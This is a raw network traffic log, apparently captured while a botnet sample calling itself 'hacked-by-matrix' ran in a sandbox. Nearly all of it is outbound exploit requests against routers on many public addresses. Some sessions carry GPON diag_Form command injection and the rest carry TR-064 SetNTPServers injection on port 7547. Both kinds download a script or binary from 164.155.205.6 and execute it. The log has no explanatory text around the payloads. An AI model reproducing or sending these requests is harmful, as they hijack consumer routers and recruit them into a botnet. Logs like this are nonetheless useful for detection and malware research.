Mar 2, 2024 12:37:29.990686893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.23	35350	2.143.124.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990686893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.23	52592	79.28.71.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990708113 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.23	45366	2.208.197.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990712881 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.23	58284	5.212.187.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990716934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.23	51666	37.173.51.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990753889 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.23	51702	79.151.110.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990796089 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.23	44674	178.73.46.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990808010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.23	47422	178.20.90.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990818024 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.23	45268	178.71.15.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990890980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.23	43772	37.42.201.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990897894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.23	55638	210.231.154.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990900993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.23	44162	42.73.225.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990933895 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.23	46374	118.168.209.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.990998030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.23	34936	178.41.128.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.991010904 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.23	53124	212.86.10.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.991049051 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.23	51564	37.222.167.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.991071939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.23	41054	94.163.126.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:29.991081953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.23	60988	75.161.153.240	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:31.823235989 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:32.005654097 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.23	60574	178.141.204.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:31.875067949 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:32.104409933 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:31 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.23	41958	183.121.113.250	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:31.931651115 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.23	60998	75.161.153.240	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.003849983 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.23	60584	178.141.204.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.104522943 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:32.332431078 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:31 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.23	41968	183.121.113.250	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.212028027 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.23	42578	5.9.178.60	443

Timestamp	Bytes transferred	Direction	Data
